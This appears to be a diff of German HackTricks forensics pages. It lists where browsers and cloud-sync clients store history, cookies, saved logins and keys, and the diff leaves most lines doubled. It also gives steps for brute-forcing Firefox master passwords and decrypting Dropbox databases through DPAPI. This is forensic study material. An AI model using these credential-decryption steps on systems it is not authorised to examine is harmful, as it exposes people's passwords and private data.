* **places.sqlite**: Speichert Verlauf, Lesezeichen und Downloads. Tools wie [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html) unter Windows können auf die Verlaufsdaten zugreifen.
* Verwenden Sie spezifische SQL-Abfragen, um Verlaufs- und Download-Informationen zu extrahieren.
* **bookmarkbackups**: Enthält Sicherungskopien von Lesezeichen.
* **formhistory.sqlite**: Speichert Webformulardaten.
* **handlers.json**: Verwaltet Protokoll-Handler.
* **persdict.dat**: Benutzerdefinierte Wörterbuchwörter.
* **addons.json** und **extensions.sqlite**: Informationen zu installierten Add-ons und Erweiterungen.
* **cookies.sqlite**: Cookie-Speicher, mit [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) zur Inspektion unter Windows verfügbar.
* **cache2/entries** oder **startupCache**: Cache-Daten, zugänglich durch Tools wie [MozillaCacheView](https://www.nirsoft.net/utils/mozilla\_cache\_viewer.html).
* **favicons.sqlite**: Speichert Favicons.
* **prefs.js**: Benutzereinstellungen und -präferenzen.
* **downloads.sqlite**: Ältere Downloads-Datenbank, jetzt in places.sqlite integriert.
* **thumbnails**: Miniaturansichten von Websites.
* **logins.json**: Verschlüsselte Anmeldeinformationen.
* **key4.db** oder **key3.db**: Speichert Verschlüsselungsschlüssel zur Sicherung sensibler Informationen.
Darüber hinaus kann die Überprüfung der Anti-Phishing-Einstellungen des Browsers durch die Suche nach `browser.safebrowsing`-Einträgen in `prefs.js` erfolgen, die anzeigen, ob die sicheres Browsen aktiviert oder deaktiviert ist.
Zusätzlich kann die Überprüfung der Anti-Phishing-Einstellungen des Browsers durch die Suche nach `browser.safebrowsing`-Einträgen in `prefs.js` erfolgen, die anzeigen, ob die Funktionen für sicheres Surfen aktiviert oder deaktiviert sind.
Um das Master-Passwort zu entschlüsseln, können Sie [https://github.com/unode/firefox\_decrypt](https://github.com/unode/firefox\_decrypt) verwenden.\
Mit dem folgenden Skript und Aufruf können Sie eine Passwortdatei zum Brute-Forcing angeben:
Um zu versuchen, das Masterpasswort zu entschlüsseln, können Sie [https://github.com/unode/firefox\_decrypt](https://github.com/unode/firefox\_decrypt) verwenden.\
Mit dem folgenden Skript und Aufruf können Sie eine Passwortdatei zum Brute-Forcen angeben:
{% code title="brute.sh" %}
```bash
@ -93,81 +91,113 @@ done < $passfile
## Google Chrome
Google Chrome speichert Benutzerprofile an spezifischen Speicherorten, abhängig vom Betriebssystem:
Google Chrome speichert Benutzerprofile an spezifischen Orten basierend auf dem Betriebssystem:
- **Linux**: `~/.config/google-chrome/`
- **Windows**: `C:\Users\XXX\AppData\Local\Google\Chrome\User Data\`
- **MacOS**: `/Users/$USER/Library/Application Support/Google/Chrome/`
* **Linux**: `~/.config/google-chrome/`
* **Windows**: `C:\Users\XXX\AppData\Local\Google\Chrome\User Data\`
* **MacOS**: `/Users/$USER/Library/Application Support/Google/Chrome/`
In diesen Verzeichnissen befinden sich die meisten Benutzerdaten in den Ordnern **Default/** oder **ChromeDefaultData/**. Die folgenden Dateien enthalten wichtige Daten:
- **History**: Enthält URLs, Downloads und Suchbegriffe. Unter Windows kann [ChromeHistoryView](https://www.nirsoft.net/utils/chrome_history_view.html) verwendet werden, um die Historie zu lesen. Die Spalte "Transition Type" hat verschiedene Bedeutungen, einschließlich Benutzerklicks auf Links, eingegebene URLs, Formularübermittlungen und Seitenaktualisierungen.
- **Cookies**: Speichert Cookies. Zur Inspektion steht [ChromeCookiesView](https://www.nirsoft.net/utils/chrome_cookies_view.html) zur Verfügung.
- **Cache**: Enthält zwischengespeicherte Daten. Windows-Benutzer können [ChromeCacheView](https://www.nirsoft.net/utils/chrome_cache_view.html) verwenden, um sie zu inspizieren.
- **Bookmarks**: Benutzer-Lesezeichen.
- **Web Data**: Enthält Formularverlauf.
- **Favicons**: Speichert Website-Favicons.
- **Login Data**: Enthält Anmeldeinformationen wie Benutzernamen und Passwörter.
- **Current Session**/**Current Tabs**: Daten zur aktuellen Browsersitzung und geöffneten Tabs.
- **Last Session**/**Last Tabs**: Informationen zu den während der letzten Sitzung aktiven Websites, bevor Chrome geschlossen wurde.
- **Extensions**: Verzeichnisse für Browser-Erweiterungen und Add-Ons.
- **Thumbnails**: Speichert Website-Vorschaubilder.
- **Preferences**: Eine Datei mit vielen Informationen, einschließlich Einstellungen für Plugins, Erweiterungen, Pop-ups, Benachrichtigungen und mehr.
- **Browser-eigener Phishing-Schutz**: Um zu überprüfen, ob der Phishing-Schutz und der Malware-Schutz aktiviert sind, führen Sie `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences` aus. Suchen Sie nach `{"enabled: true,"}` in der Ausgabe.
* **Verlauf**: Enthält URLs, Downloads und Suchbegriffe. Auf Windows kann [ChromeHistoryView](https://www.nirsoft.net/utils/chrome\_history\_view.html) verwendet werden, um den Verlauf zu lesen. Die Spalte "Transition Type" hat verschiedene Bedeutungen, einschließlich Benutzerklicks auf Links, eingegebene URLs, Formulareingaben und Seitenaktualisierungen.
* **Cookies**: Speichert Cookies. Zur Inspektion steht [ChromeCookiesView](https://www.nirsoft.net/utils/chrome\_cookies\_view.html) zur Verfügung.
* **Cache**: Enthält zwischengespeicherte Daten. Windows-Benutzer können [ChromeCacheView](https://www.nirsoft.net/utils/chrome\_cache\_view.html) zur Inspektion nutzen.
* **Lesezeichen**: Benutzer-Lesezeichen.
* **Webdaten**: Enthält Formularverlauf.
* **Favicons**: Speichert Website-Favicons.
* **Anmeldedaten**: Enthält Anmeldeinformationen wie Benutzernamen und Passwörter.
* **Aktuelle Sitzung**/**Aktuelle Tabs**: Daten zur aktuellen Browsing-Sitzung und geöffneten Tabs.
* **Letzte Sitzung**/**Letzte Tabs**: Informationen zu den während der letzten Sitzung aktiven Websites, bevor Chrome geschlossen wurde.
* **Erweiterungen**: Verzeichnisse für Browsererweiterungen und Add-Ons.
* **Miniaturansichten**: Speichert Website-Miniaturansichten.
* **Einstellungen**: Eine Datei mit vielen Informationen, einschließlich Einstellungen für Plugins, Erweiterungen, Pop-ups, Benachrichtigungen und mehr.
* **Browser-eigener Anti-Phishing-Schutz**: Um zu überprüfen, ob der Anti-Phishing- und Malware-Schutz aktiviert ist, führen Sie `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences` aus. Suchen Sie nach `{"enabled: true,"}` in der Ausgabe.
## **Wiederherstellung von SQLite-DB-Daten**
## **Wiederherstellung von SQLite-Datenbanken**
Wie in den vorherigen Abschnitten zu sehen ist, verwenden sowohl Chrome als auch Firefox **SQLite-Datenbanken**, um die Daten zu speichern. Es ist möglich, **gelöschte Einträge mit dem Tool** [**sqlparse**](https://github.com/padfoot999/sqlparse) **oder** [**sqlparse\_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases) wiederherzustellen.
Wie in den vorherigen Abschnitten zu sehen ist, verwenden sowohl Chrome als auch Firefox **SQLite**-Datenbanken zur Speicherung der Daten. Es ist möglich, **gelöschte Einträge mithilfe des Tools** [**sqlparse**](https://github.com/padfoot999/sqlparse) **oder** [**sqlparse\_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases) wiederherzustellen.
## **Internet Explorer 11**
Internet Explorer 11 verwaltet seine Daten und Metadaten an verschiedenen Speicherorten, um die gespeicherten Informationen und die entsprechenden Details leicht zugänglich und verwaltbar zu machen.
Internet Explorer 11 verwaltet seine Daten und Metadaten an verschiedenen Orten, was die Trennung von gespeicherten Informationen und den entsprechenden Details zur einfachen Zugriff und Verwaltung erleichtert.
### Metadatenspeicherung
Metadaten für Internet Explorer werden in `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` (wobei VX V01, V16 oder V24 ist) gespeichert. Die Datei `V01.log` kann dabei Abweichungen bei den Änderungszeiten von `WebcacheVX.data` anzeigen, was auf eine Reparatur mit `esentutl /r V01 /d` hinweist. Diese Metadaten, die in einer ESE-Datenbank gehalten werden, können mit Tools wie photorec und [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html) wiederhergestellt und inspiziert werden. In der Tabelle **Containers** kann man die spezifischen Tabellen oder Container erkennen, in denen jeder Datensegment gespeichert ist, einschließlich Cache-Details für andere Microsoft-Tools wie Skype.
Metadaten für den Internet Explorer werden in `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` (wobei VX V01, V16 oder V24 ist) gespeichert. Begleitend dazu kann die Datei `V01.log` Zeitunterschiede zur Änderungszeit von `WebcacheVX.data` aufweisen, was auf eine Reparatur mit `esentutl /r V01 /d` hinweist. Diese Metadaten, die in einer ESE-Datenbank gespeichert sind, können mithilfe von Tools wie photorec und [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html) wiederhergestellt und inspiziert werden. In der **Containers**-Tabelle kann man die spezifischen Tabellen oder Container erkennen, in denen jeder Datensegment gespeichert ist, einschließlich Cache-Details für andere Microsoft-Tools wie Skype.
### Cache-Inspektion
Das Tool [IECacheView](https://www.nirsoft.net/utils/ie_cache_viewer.html) ermöglicht die Inspektion des Caches und erfordert den Speicherort des extrahierten Cache-Datenordners. Die Metadaten für den Cache umfassen Dateiname, Verzeichnis, Zugriffszähler, URL-Herkunft und Zeitstempel, die die Erstellungs-, Zugriffs-, Änderungs- und Ablaufzeiten des Caches anzeigen.
Das Tool [IECacheView](https://www.nirsoft.net/utils/ie\_cache\_viewer.html) ermöglicht die Cache-Inspektion und erfordert den Speicherort des Cache-Datenextraktionsordners. Metadaten für den Cache umfassen Dateinamen, Verzeichnis, Zugriffszähler, URL-Herkunft und Zeitstempel, die die Cache-Erstellung, den Zugriff, die Änderung und das Ablaufdatum anzeigen.
### Cookies-Verwaltung
Cookies können mit [IECookiesView](https://www.nirsoft.net/utils/iecookies.html) erkundet werden, wobei Metadaten Namen, URLs, Zugriffszähler und verschiedene zeitbezogene Details umfassen. Persistente Cookies werden in `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies` gespeichert, während Sitzungscookies im Speicher verbleiben.
Cookies können mithilfe von [IECookiesView](https://www.nirsoft.net/utils/iecookies.html) erkundet werden, wobei Metadaten Namen, URLs, Zugriffszähler und verschiedene zeitbezogene Details umfassen. Persistente Cookies werden unter `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies` gespeichert, während Sitzungscookies im Speicher verbleiben.
### Download-Details
Metadaten zu Downloads sind über [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html) zugänglich, wobei spezifische Container Daten wie URL, Dateityp und Download-Speicherort enthalten. Die physischen Dateien befinden sich unter `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory`.
### Browserverlauf
Um den Browserverlauf zu überprüfen, kann [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) verwendet werden, wobei der Speicherort der extrahierten Verlaufsdateien und die Konfiguration für Internet Explorer angegeben werden müssen. Die Metadaten hier umfassen Änderungs- und Zugriffszeiten sowie Zugriffszähler. Die Verlaufsdateien befinden sich in `%userprofile%\Appdata\Local\Microsoft\Windows\History`.
Metadaten zu Downloads sind über [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html) zugänglich, wobei spezifische Container Daten wie URL, Dateityp und Download-Speicherort enthalten. Physische Dateien sind unter `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory` zu finden.
### Verlauf des Browsing
Um den Browsing-Verlauf zu überprüfen, kann [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html) verwendet werden, wobei der Speicherort der extrahierten Verlaufsdateien und die Konfiguration für den Internet Explorer erforderlich sind. Die Metadaten enthalten hier Änderungs- und Zugriffszeiten sowie Zugriffszähler. Die Verlaufsdateien befinden sich in `%userprofile%\Appdata\Local\Microsoft\Windows\History`.
### Eingegebene URLs
Eingegebene URLs und ihre Verwendungszuordnungen werden in der Registrierung unter `NTUSER.DAT` unter `Software\Microsoft\InternetExplorer\TypedURLs` und `Software\Microsoft\InternetExplorer\TypedURLsTime` gespeichert. Hier werden die letzten 50 vom Benutzer eingegebenen URLs und ihre letzten Eingabezeiten verfolgt.
Eingegebene URLs und deren Verwendungszuordnungen werden im Registrierungseditor unter `NTUSER.DAT` unter `Software\Microsoft\InternetExplorer\TypedURLs` und `Software\Microsoft\InternetExplorer\TypedURLsTime` gespeichert, wobei die letzten 50 vom Benutzer eingegebenen URLs und deren letzte Eingabezeiten verfolgt werden.
## Microsoft Edge
Microsoft Edge speichert Benutzerdaten in `%userprofile%\Appdata\Local\Packages`. Die Pfade für verschiedene Datentypen sind:
Microsoft Edge speichert Benutzerdaten in `%userprofile%\Appdata\Local\Packages`. Die Pfade für verschiedene Datentypen lauten:
- **Profilpfad**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC`
- **Verlauf, Cookies und Downloads**: `C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat`
- **Einstellungen, Lesezeichen und Leseliste**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\DataStore\Data\nouser1\XXX\DBStore\spartan.edb`
- **Cache**: `C:\Users\XXX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC#!XXX\MicrosoftEdge\Cache`
- **Zuletzt aktive Sitzungen**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\Recovery\Active`
* **Profilpfad**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC`
* **Verlauf, Cookies und Downloads**: `C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat`
* **Einstellungen, Lesezeichen und Leseliste**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\DataStore\Data\nouser1\XXX\DBStore\spartan.edb`
* **Cache**: `C:\Users\XXX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC#!XXX\MicrosoftEdge\Cache`
* **Zuletzt aktive Sitzungen**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\Recovery\Active`
## Safari
Safari-Daten werden unter `/Users/$User/Library/Safari` gespeichert. Wichtige Dateien sind:
- **History.db**: Enthält die Tabellen `history_visits` und `history_items` mit URLs und Besuchszeitstempeln. Verwenden Sie `sqlite3`, um Abfragen durchzuführen.
- **Downloads.plist**: Informationen über heruntergeladene Dateien.
- **Bookmarks.plist**: Speichert gebookmarkte URLs.
- **TopSites.plist**: Am häufigsten besuchte Websites.
- **Extensions.plist**: Liste der Safari-Browsererweiterungen. Verwenden Sie `plutil` oder `pluginkit`, um sie abzurufen.
- **UserNotificationPermissions.plist**: Domains, die Benachrichtigungen senden dürfen. Verwenden Sie `plutil`, um sie zu analysieren.
- **LastSession.plist**: Tabs aus der letzten Sitzung. Verwenden Sie `plutil`, um sie zu analysieren.
- **Browser-eigener Phishing-Schutz**: Überprüfen Sie mit `defaults read com.apple.Safari WarnAboutFraud
* Hol dir das [**offizielle PEASS & HackTricks Merch**](https://peass.creator-spring.com)
* Entdecke [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Trete der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) **bei** oder **folge** uns auf **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Teile deine Hacking-Tricks, indem du Pull Requests an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) **und** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **GitHub-Repositories sendest.**
* **History.db**: Enthält Tabellen `history_visits` und `history_items` mit URLs und Besuchszeitstempeln. Verwenden Sie `sqlite3` zum Abfragen.
* **Downloads.plist**: Informationen zu heruntergeladenen Dateien.
* **Bookmarks.plist**: Speichert gebookmarkte URLs.
* **TopSites.plist**: Meistbesuchte Websites.
* **Extensions.plist**: Liste der Safari-Browsererweiterungen. Verwenden Sie `plutil` oder `pluginkit` zum Abrufen.
* **UserNotificationPermissions.plist**: Domains, die Benachrichtigungen senden dürfen. Verwenden Sie `plutil` zum Parsen.
* **LastSession.plist**: Tabs aus der letzten Sitzung. Verwenden Sie `plutil` zum Parsen.
* **Browser-eigener Anti-Phishing-Schutz**: Überprüfen Sie mit `defaults read com.apple.Safari WarnAboutFraudulentWebsites`. Eine Antwort von 1 zeigt an, dass die Funktion aktiv ist.
## Opera
Die Daten von Opera befinden sich in `/Users/$USER/Library/Application Support/com.operasoftware.Opera` und entsprechen dem Format von Chrome für Verlauf und Downloads.
* **Browser-eigener Anti-Phishing-Schutz**: Überprüfen Sie, ob `fraud_protection_enabled` in der Preferences-Datei auf `true` gesetzt ist, indem Sie `grep` verwenden.
Diese Pfade und Befehle sind entscheidend für den Zugriff auf und das Verständnis der von verschiedenen Webbrowsern gespeicherten Browsing-Daten.
## Referenzen
* [https://nasbench.medium.com/web-browsers-forensics-7e99940c579a](https://nasbench.medium.com/web-browsers-forensics-7e99940c579a)
* [https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/](https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/)
* [https://books.google.com/books?id=jfMqCgAAQBAJ\&pg=PA128\&lpg=PA128\&dq=%22This+file](https://books.google.com/books?id=jfMqCgAAQBAJ\&pg=PA128\&lpg=PA128\&dq=%22This+file)
* **Buch: OS X Incident Response: Scripting and Analysis By Jaron Bradley pag 123**
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Verwenden Sie [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), um mühelos Workflows zu erstellen und zu automatisieren, die von den fortschrittlichsten Community-Tools der Welt unterstützt werden.\
Erhalten Sie noch heute Zugriff:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details>
<summary><strong>Erlernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks Merch**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositorys senden.
</details>

View file

@ -2,29 +2,29 @@
<details>
<summary><strong>Lernen Sie das Hacken von AWS von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Erlernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegramm-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositorys senden.
</details>
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Verwenden Sie [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), um Workflows einfach zu erstellen und zu automatisieren, die von den fortschrittlichsten Community-Tools der Welt unterstützt werden.\
Erhalten Sie noch heute Zugriff:
Verwenden Sie [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), um mithilfe der weltweit **fortschrittlichsten Community-Tools** **Workflows zu erstellen und zu automatisieren**.\
Heute Zugriff erhalten:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## OneDrive
Unter Windows finden Sie den OneDrive-Ordner unter `\Users\<Benutzername>\AppData\Local\Microsoft\OneDrive`. Und innerhalb von `logs\Personal` ist es möglich, die Datei `SyncDiagnostics.log` zu finden, die einige interessante Daten zu den synchronisierten Dateien enthält:
In Windows finden Sie den OneDrive-Ordner unter `\Users\<Benutzername>\AppData\Local\Microsoft\OneDrive`. Und im Ordner `logs\Personal` ist es möglich, die Datei `SyncDiagnostics.log` zu finden, die einige interessante Daten zu den synchronisierten Dateien enthält:
* Größe in Bytes
* Erstellungsdatum
@ -32,23 +32,23 @@ Unter Windows finden Sie den OneDrive-Ordner unter `\Users\<Benutzername>\AppDat
* Anzahl der Dateien in der Cloud
* Anzahl der Dateien im Ordner
* **CID**: Eindeutige ID des OneDrive-Benutzers
* Generierungszeit des Berichts
* Berichterstellungszeit
* Größe der Festplatte des Betriebssystems
Sobald Sie die CID gefunden haben, wird empfohlen, **Dateien zu suchen, die diese ID enthalten**. Möglicherweise finden Sie Dateien mit dem Namen: _**\<CID>.ini**_ und _**\<CID>.dat**_, die interessante Informationen wie die Namen der mit OneDrive synchronisierten Dateien enthalten können.
Sobald Sie die CID gefunden haben, wird empfohlen, **Dateien zu suchen, die diese ID enthalten**. Möglicherweise finden Sie Dateien mit den Namen: _**\<CID>.ini**_ und _**\<CID>.dat**_, die interessante Informationen wie die Namen der mit OneDrive synchronisierten Dateien enthalten können.
## Google Drive
Unter Windows finden Sie den Hauptordner von Google Drive unter `\Users\<Benutzername>\AppData\Local\Google\Drive\user_default`\
Dieser Ordner enthält eine Datei namens Sync\_log.log mit Informationen wie der E-Mail-Adresse des Kontos, Dateinamen, Zeitstempeln, MD5-Hashes der Dateien usw. Selbst gelöschte Dateien erscheinen in dieser Protokolldatei mit ihrem entsprechenden MD5.
In Windows finden Sie den Haupt-Google Drive-Ordner unter `\Users\<Benutzername>\AppData\Local\Google\Drive\user_default`\
Dieser Ordner enthält eine Datei namens Sync\_log.log mit Informationen wie der E-Mail-Adresse des Kontos, Dateinamen, Zeitstempeln, MD5-Hashes der Dateien usw. Selbst gelöschte Dateien erscheinen in dieser Protokolldatei mit dem entsprechenden MD5.
Die Datei **`Cloud_graph\Cloud_graph.db`** ist eine SQLite-Datenbank, die die Tabelle **`cloud_graph_entry`** enthält. In dieser Tabelle finden Sie den **Namen** der **synchronisierten** **Dateien**, die geänderte Zeit, die Größe und den MD5-Prüfsummenwert der Dateien.
Die Datei **`Cloud_graph\Cloud_graph.db`** ist eine SQLite-Datenbank, die die Tabelle **`cloud_graph_entry`** enthält. In dieser Tabelle finden Sie den **Namen** der **synchronisierten** **Dateien**, das Änderungsdatum, die Größe und den MD5-Prüfsummenwert der Dateien.
Die Tabellendaten der Datenbank **`Sync_config.db`** enthalten die E-Mail-Adresse des Kontos, den Pfad der freigegebenen Ordner und die Google Drive-Version.
## Dropbox
Dropbox verwendet **SQLite-Datenbanken**, um die Dateien zu verwalten. In diesem\
Dropbox verwendet **SQLite-Datenbanken** zur Verwaltung der Dateien. In diesen\
Sie finden die Datenbanken in den Ordnern:
* `\Users\<Benutzername>\AppData\Local\Dropbox`
@ -62,7 +62,7 @@ Und die Hauptdatenbanken sind:
* Deleted.dbx
* Config.dbx
Die Erweiterung ".dbx" bedeutet, dass die **Datenbanken** **verschlüsselt** sind. Dropbox verwendet **DPAPI** ([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/ms995355\(v=msdn.10\)?redirectedfrom=MSDN))
Die Erweiterung ".dbx" bedeutet, dass die **Datenbanken verschlüsselt** sind. Dropbox verwendet **DPAPI** ([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/ms995355\(v=msdn.10\)?redirectedfrom=MSDN))
Um die Verschlüsselung, die Dropbox verwendet, besser zu verstehen, können Sie [https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html) lesen.
@ -76,61 +76,61 @@ Die wichtigsten Informationen sind jedoch:
Neben diesen Informationen benötigen Sie zum Entschlüsseln der Datenbanken noch:
* Den **verschlüsselten DPAPI-Schlüssel**: Sie finden ihn in der Registrierung unter `NTUSER.DAT\Software\Dropbox\ks\client` (exportieren Sie diese Daten als Binärdatei)
* Die **`SYSTEM`**- und **`SECURITY`**-Hives
* Die **DPAPI-Meisterschlüssel**: Diese finden Sie in `\Users\<Benutzername>\AppData\Roaming\Microsoft\Protect`
* Die **`SYSTEM`**- und **`SECURITY`-Hives**
* Die **DPAPI-Meisterschlüssel**: Die in `\Users\<Benutzername>\AppData\Roaming\Microsoft\Protect` gefunden werden können
* Den **Benutzernamen** und das **Passwort** des Windows-Benutzers
Dann können Sie das Tool [**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi\_data\_decryptor.html)** verwenden:**
![](<../../../.gitbook/assets/image (448).png>)
Wenn alles wie erwartet verläuft, gibt das Tool den **Primärschlüssel** an, den Sie benötigen, um den ursprünglichen Schlüssel wiederherzustellen. Verwenden Sie zur Wiederherstellung des ursprünglichen Schlüssels einfach diesen [Cyber\_Chef-Beleg](https://gchq.github.io/CyberChef/#recipe=Derive\_PBKDF2\_key\(%7B'option':'Hex','string':'98FD6A76ECB87DE8DAB4623123402167'%7D,128,1066,'SHA1',%7B'option':'Hex','string':'0D638C092E8B82FC452883F95F355B8E'%7D\)), wobei der Primärschlüssel als "Passphrase" in den Beleg eingegeben wird.
Wenn alles wie erwartet verläuft, zeigt das Tool den **Primärschlüssel** an, den Sie benötigen, um den ursprünglichen Schlüssel wiederherzustellen. Um den ursprünglichen Schlüssel wiederherzustellen, verwenden Sie einfach dieses [Cyber\_Chef-Rezept](https://gchq.github.io/CyberChef/#recipe=Derive\_PBKDF2\_key\(%7B'option':'Hex','string':'98FD6A76ECB87DE8DAB4623123402167'%7D,128,1066,'SHA1',%7B'option':'Hex','string':'0D638C092E8B82FC452883F95F355B8E'%7D\) und setzen Sie den Primärschlüssel als "Passphrase" in das Rezept.
Der resultierende Hex-Wert ist der endgültige Schlüssel, der zur Verschlüsselung der Datenbanken verwendet wird und mit dem entschlüsselt werden kann:
Der resultierende Hexadezimalwert ist der endgültige Schlüssel, der zur Verschlüsselung der Datenbanken verwendet wird und mit dem entschlüsselt werden kann:
```bash
sqlite -k <Obtained Key> config.dbx ".backup config.db" #This decompress the config.dbx and creates a clear text backup in config.db
```
Die **`config.dbx`**-Datenbank enthält:
Die Datenbank **`config.dbx`** enthält:
* **E-Mail**: Die E-Mail des Benutzers
* **usernamedisplayname**: Der Name des Benutzers
* **dropbox\_path**: Pfad, in dem sich der Dropbox-Ordner befindet
* **Host\_id: Hash**: Wird zur Authentifizierung in der Cloud verwendet. Dies kann nur über das Web widerrufen werden.
* **Root\_ns**: Benutzerkennung
- **E-Mail**: Die E-Mail des Benutzers
- **usernamedisplayname**: Der Name des Benutzers
- **dropbox\_path**: Pfad, in dem sich der Dropbox-Ordner befindet
- **Host\_id: Hash** zur Authentifizierung in der Cloud. Dies kann nur über das Web widerrufen werden.
- **Root\_ns**: Benutzerkennung
